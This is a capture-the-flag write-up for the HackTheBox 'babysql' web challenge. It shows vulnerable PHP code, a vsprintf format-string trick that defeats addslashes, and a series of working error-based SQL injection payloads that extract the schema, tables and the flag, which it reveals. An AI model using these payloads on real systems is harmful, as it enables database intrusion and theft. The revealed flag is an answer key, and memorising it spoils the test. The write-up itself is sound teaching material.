babysql | HTB Web Challenge
HTB Web Challenge babysql Writeup
Source Code
<?php require 'config.php';
class db extends Connection {
public function query($sql) {
$args = func_get_args();
unset($args[0]);
return parent::query(vsprintf($sql, $args));
}
}
$db = new db();
if (isset($_POST['pass'])) {
$pass = addslashes($_POST['pass']);
$db->query("SELECT * FROM users WHERE password=('$pass') AND username=('%s')", 'admin');
} else {
die(highlight_file(__FILE__,1));
}
- We can see that our query and ‘admin’ is being passed to the
vsprintf
function and that is being sent to mysql server for query - We can inject the $pass after sanitization using
addslashes()
function. - Playing a little bit with php-7.4
php > echo vsprintf("Hello %s, my name is %1$\'",['admin']);
Hello admin, my name is '
php > echo vsprintf("Hello %s, my name is %1$s",['admin']);
Warning: vsprintf(): Too few arguments in php shell code on line 1
php > echo vsprintf("Hello %$1s, my name is %1$s",['admin']);
Warning: vsprintf(): Argument number must be greater than zero in php shell code on line 1
php >
php > echo vsprintf("SELECT * FROM users WHERE password=('') AND username=('%s')", ['admin']);
SELECT * FROM users WHERE password=('') AND username=('admin')
php > echo vsprintf("SELECT * FROM users WHERE password=('%1$') AND username=('%s')", ['admin']);
SELECT * FROM users WHERE password=('ND username=('admin')
php > echo vsprintf("SELECT * FROM users WHERE password=('%1$s') AND username=('%s')", ['admin']);
Warning: vsprintf(): Too few arguments in php shell code on line 1
php > echo vsprintf("SELECT * FROM users WHERE password=('%1$s') AND username=('%1$s')", ['admin']);
Warning: vsprintf(): Too few arguments in php shell code on line 1
php > echo vsprintf("SELECT * FROM users WHERE password=('%1$'') AND username=('%s')", ['admin']);
SELECT * FROM users WHERE password=(' AND username=('admin')
php > echo vsprintf("SELECT * FROM users WHERE password=('%1$\'') AND username=('%s')", ['admin']);
SELECT * FROM users WHERE password=(''') AND username=('admin')
php > echo vsprintf("SELECT * FROM users WHERE password=('%1$\')') AND username=('%s')", ['admin']);
SELECT * FROM users WHERE password=('')') AND username=('admin')
php > echo vsprintf("SELECT * FROM users WHERE password=('%1$\');#') AND username=('%s')", ['admin']);
SELECT * FROM users WHERE password=('');#') AND username=('admin')
php >
we can bypass the
addslashes
function using the payload%1$\');$
now we can inject SQL in between but still we can’t get any output.
We can use Error based SQLI and use extract value function to get output in the errors itself as the errors are enabled on the server.
This payload fetches the version of the mysql server.
pass=%1$\')+UNION+SELECT+%40,(extractvalue(rand(),concat(CHAR(126),version(),CHAR(126))))#
Now we can start extracting the schema name.
This query fetches the schema name.
%1$\')+UNION+SELECT+%40,(extractvalue(rand(),concat(CHAR(126),(SELECT+concat(CHAR(126),schema_name,CHAR(126))+FROM+information_schema.schemata+limit+3,1),CHAR(126))))#
Now in order to filter the tables we have to specify from which schema we want the tables.
We can use REGEXP for that.
This payload fetches the table name from the database db_m432
pass=%1$\')+UNION+SELECT+%40,(extractvalue(rand(),concat(CHAR(126),(SELECT+group_concat(CHAR(126),TABLE_NAME,CHAR(126))+FROM+information_schema.TABLES+where+table_schema+REGEXP+0x64625f6d343132),CHAR(126))))#
Now we can get the column names for the table
totally_not_a_flag
This payload fetches the column name from the table
%1$\')+UNION+SELECT+%40,(extractvalue(rand(),concat(CHAR(126),(SELECT+group_concat(CHAR(126),column_name,CHAR(126))+FROM+information_schema.columns+WHERE+table_name+REGEXP+0x746f74616c6c795f6e6f745f615f666c6167),CHAR(126))))#
Now we can select the flag using the payload
%1$\')+UNION+SELECT+%40,(extractvalue(rand(),concat(CHAR(126),(select+flag+from+totally_not_a_flag),CHAR(126))))#
The flag is
HTB{h0w_d1d_y0u_f1nd_m3?}